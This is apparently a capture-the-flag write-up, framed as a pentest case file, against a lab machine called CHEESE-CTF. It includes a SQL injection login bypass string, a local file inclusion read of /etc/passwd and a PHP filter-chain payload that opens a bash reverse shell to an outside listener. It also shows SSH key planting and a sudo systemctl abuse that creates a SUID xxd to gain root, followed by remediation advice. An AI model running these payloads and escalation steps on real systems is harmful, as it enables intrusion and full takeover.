SQLi to PHP filter-chain RCE and systemd xxd plant
Intermediate web-to-root engagement: SQL injection unlocked an LFI endpoint; PHP filter chains delivered RCE; a writable authorized_keys and sudo over exploit.timer planted SUID xxd used to write root’s SSH key.
- Case files
- SQLi to PHP filter-chain RCE and systemd xxd plant
Login SQLi exposed secret-script.php LFI. A PHP filter-chain payload opened a reverse shell; we planted an SSH key for comte, then abused sudo systemctl on exploit.timer to create SUID xxd and overwrite root’s authorized_keys.
Boolean SQLi bypassed login. secret-script.php?file=/etc/passwd confirmed local file inclusion.
Generated a php://filter chain embedding a bash reverse shell and triggered it through the LFI parameter.
Appended our public key to comte’s authorized_keys and authenticated over SSH.
sudo systemctl start exploit.timer planted /opt/xxd setuid. xxd wrote root’s authorized_keys.
Engagement summary
Login SQLi exposed secret-script.php LFI. A PHP filter-chain payload opened a reverse shell; we planted an SSH key for comte, then abused sudo systemctl on exploit.timer to create SUID xxd and overwrite root’s authorized_keys.
Against CHEESE-CTF (10.10.228.119), authentication on login.php accepted a classic boolean SQLi. Post-auth clues led to secret-script.php?file=, which included arbitrary paths. Using a PHP filter-chain generator we converted a reverse-shell one-liner into a php://filter chain, triggered it via the LFI, and landed as the web user. LinPEAS showed /home/comte/.ssh/authorized_keys world-writable; after appending our pubkey we SSH’d as comte. sudo -l allowed daemon-reload and start/enable of exploit.timer, whose unit copied xxd to /opt with setuid. We then used xxd to write /root/.ssh/authorized_keys and SSH’d as root.
Business impact
SQLi plus LFI is a short path to RCE when PHP wrappers are enabled. Writable authorized_keys and sudo over systemd units that plant SUID tools are operational failures. Parameterize queries, disable dangerous wrappers, fix SSH key permissions, and never grant NOPASSWD systemctl over attacker-influenced units.
SQLi login and LFI discovery
Boolean SQLi bypassed login. secret-script.php?file=/etc/passwd confirmed local file inclusion.
OPERATOR · SQLI
# login.php username: ' || '1'='1';-- -
savvy@lab:~$ curl -s 'http://10.10.228.119/secret-script.php?file=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
comte:x:1000:1000::/home/comte:/bin/bash
PHP filter-chain RCE
Generated a php://filter chain embedding a bash reverse shell and triggered it through the LFI parameter.
OPERATOR · FILTER CHAIN
savvy@lab:~$ python3 php_filter_chain_generator.py --chain "<?php exec('/bin/bash -c \\"bash -i >& /dev/tcp/10.10.14.20/4444 0>&1\\"'); ?>" | grep "^php" > payload.txt
savvy@lab:~$ nc -lvnp 4444
savvy@lab:~$ curl "http://10.10.228.119/secret-script.php?file=$(cat payload.txt)"
savvy@lab:/var/www/html$
Writable authorized_keys to comte
Appended our public key to comte’s authorized_keys and authenticated over SSH.
OPERATOR · SSH PLANT
savvy@lab:~$ echo 'ssh-rsa AAAA... savvy@lab' >> /home/comte/.ssh/authorized_keys
savvy@lab:~$ ssh -i id_rsa comte@10.10.228.119
savvy@lab:~$ id
uid=1000(comte) gid=1000(comte) groups=1000(comte)
systemd timer and SUID xxd to root
sudo systemctl start exploit.timer planted /opt/xxd setuid. xxd wrote root’s authorized_keys.
OPERATOR · SYSTEMD / XXD
savvy@lab:~$ sudo -l
(root) NOPASSWD: /bin/systemctl daemon-reload, start exploit.timer, ...
# exploit.service: cp /usr/bin/xxd /opt/xxd && chmod +sx /opt/xxd
savvy@lab:~$ sudo systemctl daemon-reload && sudo systemctl start exploit.timer
savvy@lab:~$ echo 'ssh-rsa AAAA... savvy@lab' | xxd | /opt/xxd -r - /root/.ssh/authorized_keys
savvy@lab:~$ ssh -i id_rsa root@10.10.228.119
root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)
Remediation
Fix SQLi and remove LFI; disable php://filter where not required. Enforce 600 root:user on authorized_keys. Review sudoers for systemctl wildcards; do not ship units that create SUID copies of debugging tools.